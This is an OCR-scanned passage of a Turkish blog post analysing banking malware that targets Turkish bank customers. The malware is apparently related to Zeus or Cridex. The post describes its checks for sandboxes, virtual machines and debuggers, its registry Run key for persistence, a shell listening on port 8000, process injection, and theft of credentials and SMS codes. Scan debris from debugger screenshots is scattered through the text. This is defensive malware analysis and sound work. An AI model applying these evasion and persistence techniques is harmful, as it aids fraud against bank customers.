Process Detection

process detected: netmon.exe (Bx5CDY7BASEL>
process detected: procmon.exe (BxABDBBABEL>

process detected: sandboxiedcomlaunch.exe (AxES8CDDCS54L>»

process detected: sandboxierpcss.exe (Bx8C6D6CL>

process detected: vhoxservice.exe (Bx31E233AFL)

process detected: vhoxtray.exe (Bx?1D47DF&L)>

process detected: vmwareservice.exe (Ox8181326CL>

process detected: vmwareuser.exe (Bx4CESFDA?L>
Blacklisted process detected: wireshark.exe (BxA4EF3CBEL>

|C:\Users\Hert\Desktop).

Bunun disinda zararli yazilimin sbiedll.dll ile Sandboxie yazilimin sistemde yiiklii olup olmadigini, vmware, vbox gibi sanal makinede
calisip calismadiginin kontrolii, gemu dykiiniicii (emulator) kontrolii ve RDTSC yonergesi (instruction) ile yonergeler arasi gegen siirenin
kontrolii ile kum havuzu ve hata ayiklici kontrolii yaptigini tespit ettim.

CPU - main thread, module Turkish-]
File Wiew Debug Plugins Immlib Options ‘Window Help  Jobs

T MX Pl lemtwhcPkbzr
B 12

OWORD PTR

Zararl1 yazilim bu kontrollerden herhangi birine takildigi taktirde kendisini %ALLUSERSPROFILE% ortam degiskeninde
(environment) yer alan klasore kopyalamakta ve sistem yeniden baslatildiginda ¢alisabilmek igin kayit defterinde HKLM\SOFTWARE
\Microsoft\Windows\CurrentVersion\Run\SunJavaUpdateSched anahtar1 olusturmaktadir. Calistig1 zaman da hem e-posta hem de web
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sitelerine konu oldugu gibi 8000. numaral1 baglant1 noktasinda (port) dinlemeye gegmekte ve bu baglanti noktasindan sisteme baglanan
kisilere komut satir1 erigsimi (shell) vermektedir.

" Immunity Debugger - Turkish-_00400000.exe - [CPU - main thread]

File Wiew Debug Plugins Immlib Options Window  Help  Jobs
[CHREE i #=+ lemtwhocPkbDzr

o ntdlL.RELALL:

File Wiew Debug Plugins Immlib Options Window  Help  Jobs

)-".'g_uxbull _"_J-’_:_l.emtwhcpkbzr...s?
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IC:\Documents and Settings“Administrator’netstat —an —-p tcp | findstr 8668
TCP B.0.0.08:8000 A.0.8.8:8 LISTENING

IC:\Documents and Settings“Administrator>

Microsoft Windows XP [Version 5.1.26881
{C> Copyright 1985-2881 Microsoft Corp.

IC:“\Documents and Settings“Administrator Desktop~Desktop>_

Ancak bu zararli yazilim, kontrollerden herhangi birine takilmaz ise 32 bit isletim sisteminde windows\system32 klasorii altinda
wuauclt.exe dosyasi yaratmakta, 64 bit isletim sisteminde ise windows\syswow64 klasorii altinda svchost.exe dosyasi yaratmakta
(windows file protection izin verirse), ¢alistirmakta ardindan kendisini bu isleme (process) enjekte ederek diger faza gegmektedir. Son
fazda ise sisteme bankacilik zararli yazilimi bulastirarak Zeus ve Spyeye'dan bildigimiz gibi kullanicinin cep telefonuna da zararli yazilim
gondererek internet subesini kullanan kullanicinin kullanici adini, sifresini ve sms dogrulama kodunu galarak miisterilerin hesabini
bosaltmaya ¢aligmaktadir.

. Immunity Debugger - Turkish-_00400000.exe - [CPL - main thread]
ile  Wiew Debug Plugins Immlib Options Window Help  Jobs
3 1l 2ilisJ+f 1l emtwhcPkbzr.

=Hand Lell

teFilell

JMP to ntdlLLE

Sonug olarak yazinin baginda da bahsettigim iizere yazilim seviyesine inilmeden sistem seviyesinde yapilan analizler, zararli yazilimin
sanal makine, debugger, sandbox tespitine yonelik kontroller igermesi durumunda farkli sonuglar ortaya ¢ikarabilmektedir bu nedenle
zararli yazilim hakkinda kesin bir sonuca varmak i¢in mutlaka ama mutlaka yazilim seviyesinde de analiz yapilmasi gerekmektedir.

61



Tiirkiye'deki banka miisterilerini hedef alan bu zararli yazilim ile ilgili daha fazla bilgi almak i¢in Tiibitak BILGEM tarafindan yayilanan
analiz yazisini da okumanizi éneririm.

Bu vesileyle herkesin yeni yilin1 kutlar, 2013 yilinin herkese dnce saglik sonra giivenli giinler getirmesini dilerim.

Not: Her ne kadar bu zararli yazilim Tiibitak BILGEM'in yaymlamis oldugu analiz yazisinda Zeus'un bir tiirevi olarak yer almis olsa
da Zemana firmasindan Emre TINAZTEPE'nin yapmis oldugu bir agiklamaya goreye zararli yazilim kimi zaman Zeus kimi zaman ise
Cridex olarak son kullanicinin sistemine yiiklenmektedir. Daha detayli yeni analiz raporlari/yazilari yayinlandik¢a bu zararli yazilim
hakkinda daha net bilgilere sahip olacagimiza inantyorum.
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https://www.bilgiguvenligi.gov.tr/zararli-yazilimlar/fatura-zararli-yazilimi-fatmal.html
https://www.bilgiguvenligi.gov.tr/zararli-yazilimlar/fatura-zararli-yazilimi-fatmal.html
https://twitter.com/infexia
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